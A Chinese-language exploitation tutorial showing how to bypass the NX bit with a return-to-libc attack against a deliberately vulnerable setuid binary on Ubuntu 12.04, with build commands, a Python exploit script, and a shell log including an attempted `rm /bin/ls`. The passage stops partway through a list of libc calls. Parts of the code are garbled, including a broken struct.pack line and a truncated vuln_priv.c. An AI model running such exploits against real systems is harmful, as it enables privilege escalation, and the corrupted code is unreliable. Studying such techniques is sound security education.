使用 return-to-libc 绕过 NX bit

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小牛编辑

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2023-12-01

前提条件：

经典的基于堆栈的缓冲区溢出

虚拟机安装：Ubuntu 12.04（x86）

在以前的帖子中，我们看到了这个攻击者

复制shellcode堆栈并跳转到它！

为了成功利用漏洞代码。为了阻止攻击者的行动，安全研究人员提出了一个名为“NX 位”的漏洞缓解！

什么是NX 位？

它是一种利用缓解技术，使某些内存区域不可执行，并使可执行区域不可写。示例：使数据，堆栈和堆段不可执行，而代码段不可写。

在NX 位打开的情况下，我们基于堆栈的缓冲区溢出的经典方法将无法利用此漏洞。因为在经典的方法中，shellcode被复制到堆栈中，返回地址指向shellcode。但是现在由于堆栈不再可执行，我们的漏洞利用失败！但是这种缓解技术并不完全是万无一失的，因此在这篇文章中我们可以看到如何绕过NX 位！

编译命令：


$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

注意：-z execstack参数不传递给gcc，因此现在堆栈是非可执行的，可以验证如下所示：

堆栈段只包含RW标志，无E标志！

如何绕过NX位并实现任意代码执行？

可以使用叫做“return-to-libc”的攻击技术绕过NX 位。这里返回地址被一个特定的libc函数地址覆盖（而不是包含shellcode的堆栈地址）。例如，如果攻击者想要生成一个shell，那么他将使用system地址覆盖返回地址，并在堆栈中设置system所需的相应参数，以便成功调用它。

在已经反汇编并绘制了漏洞代码的堆栈布局后，让我们编写一个漏洞代码来绕过NX位！

利用代码：

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Since ALSR is disabled, libc base address would remain constant and hence we can easily find the function address we want by adding the offset to it. 
#For example system address = libc base address + system offset
#where 
       #libc base address = 0xb7e22000 (Constant address, it can also be obtained from cat /proc//maps)
       #system offset     = 0x0003f060 (obtained from "readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system")
system = 0xb7e61060        #0xb7e2000+0x0003f060
exit = 0xb7e54be0          #0xb7e2000+0x00032be0
#system_arg points to 'sh' substring of 'fflush' string. 
#To spawn a shell, system argument should be 'sh' and hence this is the reason for adding line [4] in vuln.c. 
#But incase there is no 'sh' in vulnerable binary, we can take the other approach of pushing 'sh' string at the end of user input!!
system_arg = 0x804827d     #(obtained from hexdump output of the binary)
#endianess conversion
def conv(num):
 return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)
print "Calling vulnerable program"
call(["./vuln", buf])

执行上面的exploit程序给我们root shell，如下所示：

宾果，我们得到了root shell！但是在实际应用中，由于root setuid程序会采用最小权限的原则，它并不容易。

此技术允许root setuid程序仅在需要时获取root权限。这指的是当需要时，获得root权限，当不需要它们时，它将丢弃获得的root权限。正常做法是root setuid程序之后，用户获取输入之前删除root权限。因此，即使用户输入是恶意的，攻击者也不会得到root shell。例如下面的漏洞代码不允许攻击者获取root shell。

漏洞代码：

//vuln_priv.c
#include <stdio.h>
#include <string.h>
 char buf[256];
 seteuid(getuid()); /* Temporarily drop privileges */ 
 printf("%s\n",buf);
 fflush(stdout);
 return 0;
}

当我们尝试使用下面的漏洞利用代码来利用它时，以上漏洞的代码不会给出root shell。

注意：exp_priv.py是exp.py的略微修改的版本！只是system_arg变量被调整了！

$ python exp_priv.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K川�
$ id
uid=1000(sploitfun) gid=1000(sploitfun) egid=0(root) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ rm /bin/ls
rm: remove write-protected regular file `/bin/ls'? y
rm: cannot remove `/bin/ls': Permission denied
$ exit
$

这是隧道的尽头吗？如何利用应用最小权限原则的root setuid程序？

对于漏洞代码（vuln_priv），我们的利用代码（exp_priv.py）正在调用system，随后退出，发现它不足以获取root shell。但是如果我们的利用代码（exp_priv.py）被修改为调用以下libc函数（按照列出的顺序）

seteuid(0)